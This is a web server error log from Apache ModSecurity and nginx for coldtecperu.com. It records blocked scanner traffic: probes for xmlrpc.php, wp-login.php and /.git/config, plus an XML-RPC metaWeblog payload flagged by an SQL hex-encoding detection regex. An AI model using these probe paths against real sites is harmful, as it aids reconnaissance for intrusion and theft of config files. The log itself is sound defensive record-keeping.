2025] [:error] [pid 3074:tid 3099] [client 69.171.249.116:57326] [client 69.171.249.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLilRtWpSz8T6Of7A04iigAAANc"] [Wed Sep 03 15:29:58.761662 2025] [:error] [pid 3074:tid 3087] [client 69.171.249.9:57328] [client 69.171.249.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLilRtWpSz8T6Of7A04iiwAAAMs"] [Wed Sep 03 15:47:18.105833 2025] [:error] [pid 2540:tid 2579] [client 69.171.230.115:58160] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLipVogu6puo7-bhaMhb6wAAAIY"] [Wed Sep 03 15:47:19.031493 2025] [:error] [pid 3074:tid 3093] [client 69.171.230.4:58168] [client 69.171.230.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLipV9WpSz8T6Of7A04jJwAAANE"] [Thu Sep 04 10:42:57.764606 2025] [:error] [pid 8299:tid 8304] [client 49.36.189.129:40858] [client 49.36.189.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x8b2c8a6fde found within XML: metaWeblog.newPost18524585245title0x8b2c8a6fdescription0x8b2c8a6fmt_keywords0x8b2c8a6fmt_excerpt0x8b2c8a6f1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aLmzgUkIK7qQ7u2BDfrc6wAAAMM"] [Thu Sep 04 22:13:44.002682 2025] [:error] [pid 8299:tid 8304] [client 103.155.118.180:60748] File does not exist: /home/coldtecp/public_html/wp-login.php [Fri Sep 05 08:49:07.620280 2025] [:error] [pid 3769:tid 3792] [client 67.205.150.206:58618] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Sep 05 12:55:46.133597 2025] [:error] [pid 3769:tid 3779] [client 179.233.182.38:40656] [client 179.233.182.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xcf0cb0bdde found within XML: metaWeblog.newPost12608626086title0xcf0cb0bddescription0xcf0cb0bdmt_keywords0xcf0cb0bdmt_excerpt0xcf0cb0bd1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aLskItyZcmCiNJVCOz7eZAAAAMg"] [Sat Sep 06 07:09:16.892578 2025] [:error] [pid 2156:tid 2204] [client 103.109.238.207:49784] File does not exist: /home/coldtecp/public_html/wp-login.php [Sat Sep 06 20:46:49.871352 2025] [:error] [pid 1965:tid 2018] [client 67.205.150.206:42920] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Sep 06 20:51:04.939937 2025] [:error] [pid 2157:tid 2181] [client 177.73.203.241:43452] [client 177.73.203.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x3f3b2a66de found within XML: metaWeblog.newPost11531815318title0x3f3b2a66description0x3f3b2a66mt_keywords0x3f3b2a66mt_excerpt0x3f3b2a661"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aLzlCMe_dph-j4_MhEI6tAAAAVU"] [Sat Sep 06 22:01:34.810829 2025] [:error] [pid 2157:tid 2160] [client 84.239.43.151:48244] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLz1jse_dph-j4_MhEI9FQAAAUA"] [Sat Sep 06 22:01:35.161862 2025] [:error] [pid 2156:tid 2186] [client 84.239.43.151:48246] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/"] [unique_id "aLz1j4qQRdQeQgw0mTKy7QAAAQA"] [Sat Sep 06 22:01:35.185469 2025] [:error] [pid 1964:tid 2026] [client 84.239.43.151:48248] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aLz1j58HbtTTW69lo9Dj1wAAAIQ"] [Sat Sep 06 22:01:36.496224 2025] [:error] [pid 2157:tid 2181] [client 84.239.43.151:48250] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/"] [unique_id "aLz1kMe_dph-j4_MhEI9FgAAAVU"] [Sat Sep 06 22:01:36.695388 2025] [:error] [pid 2156:tid 2199] [client 84.239.43.151:48252] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/"] [unique_id "aLz1kIqQRdQeQgw0mTKy7gAAAQ0"] [Sat Sep 06 22:01:37.933110 2025] [:error] [pid 2156:tid 2204] [client 84.239.43.151:48254] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/"] [unique_id "aLz1kYqQRdQeQgw0mTKy7wAAARI"] [Sat Sep 06 22:01:38.646651 2025] [:error] [pid 2156:tid 2188] [client 84.239.43.151:48256] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/"] [unique_id "aLz1koqQRdQeQgw0mTKy8AAAAQI"] [Sat Sep 06 22:01:41.086622 2025] [:error] [pid 2157:tid 2180] [client 84.239.43.151:48262] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/"] [unique_id "aLz1lce_dph-j4_MhEI9FwAAAVQ"] [Sat Sep 06 22:01:41.642065 2025] [:error] [pid 2156:tid 2187] [client 84.239.43.151:48264] [client 84.239.43.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:c(?:o(?:n(?:t(?:entsmartz|actbot/)|cealed defense|veracrawler)|mpatible(?: ;(?: msie|\\\\.)|-)|py(?:rightcheck|guard)|re-project/1.0)|h(?:ina(?: local browse 2\\\\.|claw)|e(?:rrypicker|esebot))|rescent internet toolpak)|w(?:e(?:b(?: (?:downloader|by ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "27"] [id "990012"] [rev "2"] [msg "Rogue web site crawler"] [data "panscient.com"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/AUTOMATION/MALICIOUS"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.coldtecperu.com"] [uri "/"] [unique_id "aLz1lYqQRdQeQgw0mTKy8QAAAQE"] [Sun Sep 07 03:21:24.282847 2025] [:error] [pid 2157:tid 2173] [client 173.252.83.10:43248] [client 173.252.83.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aL1AhMe_dph-j4_MhEJI_QAAAU0"] [Sun Sep 07 03:21:25.034649 2025] [:error] [pid 1963:tid 1977] [client 173.252.83.112:43254] [client 173.252.83.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aL1AhXDrQqPbMr9hwCjJjgAAAAo"] [Sun Sep 07 05:10:36.586865 2025] [:error] [pid 13608:tid 13621] [client 69.171.249.6:48538] [client 69.171.249.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aL1aHBKbBi2M4IF6TCVumQAAAMs"] [Sun Sep 07 05:10:36.972916 2025] [:error] [pid 13608:tid 13634] [client 69.171.249.113:48542] [client 69.171.249.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aL1aHBKbBi2M4IF6TCVumwAAANc"] [Mon Sep 08 01:34:15.909559 2025] [:error] [pid 13608:tid 13620] [client 159.65.178.7:58708] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Sep 08 11:48:12.757452 2025] [:error] [pid 18703:tid 18740] [client 103.214.20.188:34296] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Sep 08 16:55:51.299672 2025] [:error] [pid 18888:tid 18895] [client 201.137.125.49:45486] [client 201.137.125.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aL9Q59WOlqzAPMyE447gqgAAAMU"] [Mon Sep 08 23:34:16.461324 2025] [:error] [pid 18703:tid 18772] [client 13.220.90.25:52428] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Sep 09 00:38:37.418238 2025] [:error] [pid 18702:tid 18731] [client 13.220.176.89:60818] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Sep 09 01:06:19.798025 2025] [:error] [pid 18702:tid 18732] [client 34.207.113.140:37224] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/09 01:39:50 [error] 18609#18609: *699680 access forbidden by rule, client: 13.48.23.58, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/09 02:42:55 [error] 18608#18608: *704528 access forbidden by rule, client: 13.48.23.58, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Tue Sep 09 05:45:22.308648 2025] [:error] [pid 23212:tid 23250] [client 13.221.113.30:58258] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/09 06:31:48 [error] 23145#23145: *719904 access forbidden by rule, client: 3.89.150.170, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Tue Sep 09 07:14:06.026876 2025] [:error] [pid 23214:tid 23273] [client 18.234.210.7:49644] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Sep 09 07:40:53.132569 2025] [:error] [pid 23433:tid 23443] [client 173.252.87.6:56842] [client 173.252.87.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMAgVf8dTjYu5_9sUIiPUgAAAMg"] [Tue Sep 09 07:40:53.771684 2025] [:error] [pid 23212:tid 23254] [client 173.252.87.2:56844] [client 173.252.87.2] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMAgVRHdpip7Td4oMXcxlAAAAAc"] [Tue Sep 09 07:40:55.343692 2025] [:error] [pid 23433:tid 23438] [client 69.171.230.4:56846] [client 69.171.230.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMAgV_8dTjYu5_9sUIiPUwAAAMM"] [Tue Sep 09 07:40:56.177421 2025] [:error] [pid 23433:tid 23439] [client 69.171.230.3:56848] [client 69.171.230.3] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMAgWP8dTjYu5_9sUIiPVAAAAMQ"] [Tue Sep 09 07:47:53.401895 2025] [:error] [pid 23433:tid 23450] [client 173.252.87.15:58178] [client 173.252.87.15] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMAh-f8dTjYu5_9sUIiP4gAAAM8"] [Tue Sep 09 07:47:53.903827 2025] [:error] [pid 23213:tid 23225] [client 173.252.87.26:58186] [client 173.252.87.26] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMAh-eOCAA5GPetF6zP91gAAAEY"] [Tue Sep 09 23:40:34.477446 2025] [:error] [pid 23214:tid 23289] [client 165.227.117.105:49172] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/11 23:49:27 [error] 9240#9240: *945056 access forbidden by rule, client: 185.177.72.23, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/09/12 01:22:53 [error] 9239#9239: *949513 access forbidden by rule, client: 185.177.72.29, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/09/12 03:45:53 [error] 26995#26995: *955107 connect() failed (111: Connection refused) while connecting to upstream, client: 182.43.70.143, server: coldtecperu.com, request: "GET / HTTP/1.1", upstream: "http://198.199.72.26:8181/", host: "www.coldtecperu.com" [Sat Sep 13 02:56:17.170036 2025] [:error] [pid 27901:tid 27926] [client 69.171.231.7:47344] [client 69.171.231.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMUjoQbbMkC1uyOpBDIeWAAAANc"] [Sat Sep 13 02:56:17.541318 2025] [:error] [pid 27901:tid 27905] [client 69.171.231.114:47346] [client 69.171.231.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMUjoQbbMkC1uyOpBDIeWQAAAMI"] [Sat Sep 13 02:56:17.594186 2025] [:error] [pid 27588:tid 27617] [client 173.252.87.10:47348] [client 173.252.87.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMUjoRUkv54DIpOH3ojRWgAAAFc"] [Sat Sep 13 02:56:18.039712 2025] 